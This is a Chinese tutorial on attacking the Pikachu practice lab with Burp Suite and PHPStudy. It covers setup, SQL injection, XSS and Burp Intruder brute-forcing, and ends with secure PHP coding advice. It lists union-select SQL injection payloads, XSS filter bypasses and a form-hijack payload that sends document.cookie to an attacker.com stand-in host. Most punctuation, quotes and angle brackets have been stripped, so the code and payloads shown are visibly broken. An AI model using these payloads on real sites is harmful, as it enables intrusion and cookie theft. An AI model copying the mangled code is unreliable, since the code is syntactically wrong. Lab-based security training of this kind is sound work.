
从Pikachu靶场看Web安全入门Burp Suite与PHPStudy实战指南当第一次打开Pikachu靶场时许多初学者会被各种漏洞类型和工具操作弄得手足无措。这就像刚拿到驾照就面对复杂路况——知道基本原理但缺乏实际应对经验。本文将带你用Burp Suite和PHPStudy像拆解乐高积木一样逐步剖析SQL注入与XSS漏洞避开那些教科书不会告诉你的新手墙。1. 环境搭建与工具配置1.1 靶场部署的正确姿势下载Pikachu靶场压缩包后很多教程会直接让你扔进PHPStudy的WWW目录。但实际操作中常遇到两个坑PHP版本兼容性问题Pikachu最佳运行环境是PHP 5.4-7.0高于7.3会出现函数禁用警告数据库初始化失败解压后需手动执行/inc/initdb.php初始化数据推荐使用PHPStudy 2018版本按以下步骤配置# 在PHPStudy面板操作 1. 启动ApacheMySQL服务 2. 创建数据库名为pikachu 3. 访问http://localhost/pikachu/inc/initdb.php 4. 看到初始化成功提示才算完成1.2 Burp Suite的黄金配置社区版Burp Suite足够应对基础练习但需要优化这几个关键设置代理监听配置在Proxy→Options添加0.0.0.0:8080监听地址HTTPS证书安装访问http://burp下载cacert.der证书双击安装到受信任根证书颁发机构浏览器代理设置推荐使用Firefox的FoxyProxy插件一键切换代理状态提示遇到Burp无法拦截HTTPS请求时检查证书是否安装正确同时确保浏览器信任该证书2. SQL注入实战拆解2.1 数字型注入的精准打击在Pikachu的数字型注入关卡看似简单的下拉菜单隐藏着关键细节Burp拦截请求选择任意选项后查看拦截到的POST数据id1submit查询基础探测修改id值为1触发报错确认存在注入点类型判断输入2-1返回与id1相同结果证明是数字型注入手工注入完整流程POST /pikachu/vul/sqli/sqli_int.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- submit查询常见错误排查表错误现象可能原因解决方案无报错无返回注释符被过滤尝试改用#或%23返回空白页字段数不匹配用order by逐步测试字段数乱码显示数据库编码问题添加convert(... using utf8)2.2 字符型注入的变形艺术字符型注入需要处理引号闭合Pikachu的字符型注入(get)关卡演示了经典绕过原始输入vince and 11永真条件注释技巧vince--注释后续语句编码绕过vince%27%20or%2011--%20注意现代WAF会检测常见注释符可尝试用||11这类逻辑运算符替代3. XSS漏洞深度剖析3.1 反射型XSS的攻防博弈在反射型XSS(get)关卡开发者设置了前端长度限制但绕过方法不止一种方法1Chrome开发者工具直接修改input的maxlength属性方法2Burp拦截请求后修改参数值方法3使用短payload如svg/onloadalert(1)不同上下文下的XSS变形输出位置示例payload关键点HTML标签内img srcx onerroralert(1)需要触发错误事件JavaScript代码中/scriptscriptalert(1)/script闭合原有脚本属性值中 onclickalert(1) x提前闭合属性3.2 存储型XSS的持久化威胁Pikachu的留言板功能演示了存储型XSS的典型场景基础payloadscriptalert(document.cookie)/script绕过过滤当script标签被过滤时尝试img src1 onerroralert(1)高级利用构造表单劫持请求form actionhttp://attacker.com/steal methodPOST input typehidden namecookie valuedocument.cookie /form scriptdocument.forms[0].submit()/script4. 安全工具链的协同作战4.1 Burp Intruder的爆破艺术以token防爆破关卡为例演示如何配置Pitchfork模式抓取含token的登录请求设置攻击类型选择Pitchfork并排攻击参数配置password字段加载字典文件token字段选择Recursive grep正则提取tokennametoken value([a-zA-Z0-9])线程控制设为单线程避免token混乱4.2 开发者工具的另类用法除了查看元素Chrome开发者工具还能DOM断点调试在Elements面板右键设置DOM修改断点事件监听追踪在Sources面板查看所有事件监听器本地存储修改Application面板直接编辑Cookie和LocalStorage// 在Console快速测试XSS function testXSS(payload) { document.body.innerHTML payload; setTimeout((){document.body.innerHTML}, 2000); } testXSS(img srcx onerroralert(1));5. 从漏洞利用到源码分析5.1 SQL注入的代码层解读查看Pikachu的vul/sqli/sqli_str.php文件发现致命错误$name $_GET[name]; // 直接接收用户输入 $query SELECT * FROM users WHERE username$name; // 拼接SQL语句安全写法应该是$stmt $pdo-prepare(SELECT * FROM users WHERE username?); $stmt-execute([$name]);5.2 XSS防御的进化之路对比Pikachu中不同关卡的处理方式无过滤直接输出$_GET[input]基础过滤htmlspecialchars($input)白名单过滤使用HTML Purifier库现代框架防护Vue/React的自动编码机制在测试过程中发现即使使用htmlspecialchars如果第二个参数ENT_QUOTES未设置单引号仍会导致属性逃逸// 不安全写法 echo a href.$url..$text./a; // 安全写法 echo a href.htmlspecialchars($url, ENT_QUOTES)..htmlspecialchars($text)./a;